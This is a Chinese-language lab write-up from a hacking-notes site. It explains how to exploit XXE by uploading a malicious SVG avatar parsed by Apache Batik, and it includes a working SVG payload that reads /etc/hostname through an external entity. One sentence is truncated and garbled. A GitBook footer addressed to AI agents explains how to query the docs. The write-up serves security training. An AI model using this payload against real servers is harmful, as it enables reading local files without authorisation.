> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xxe/xxe-via-malicious-image-upload.md).

# 通过恶意图像上传进行 XXE

### 通过图片文件上传利用 XXE

通过发送一个恶意图片（SVG）来利用 XXE 漏洞，该图片在被 Apache Batik 库处理时，会泄露本地文件的内容。此练习要求上传一个显示 `/etc/hostname` 内容的 SVG 头像，然后提交主机名作为答案。

该网站提供了一个用于为评论添加 d的头像的表单。通过拦截 d

<figure><img src="/files/fc8be4c6fd1afdd18ebc607633c934c0afe1dbb5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2a7d83a76253c106a65b004205bf96e7050850a2" alt=""><figcaption></figcaption></figure>

创建一个包含一个 `<!DOCTYPE>` 声明的 SVG 文件，该声明定义了一个指向 `file:///etc/hostname` 的外部实体，然后将该实体插入 SVG 文本中，这样在渲染/处理后，文件内容就会被注入到显示的图像中。

```svg
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
```

<figure><img src="/files/50a1b86fc50c88ebfa574fef8e870eb9d2ab4870" alt=""><figcaption></figcaption></figure>

上传后，在评论区中头像的显示表明服务器已解析该 SVG 并返回了实体值—— `/etc/hostname` 的内容出现在图像中，从而可以获取主机名并提交答案。

<figure><img src="/files/d8a6d6c35e640b9a7b4205c93b85090a56b9e744" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xxe/xxe-via-malicious-image-upload.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.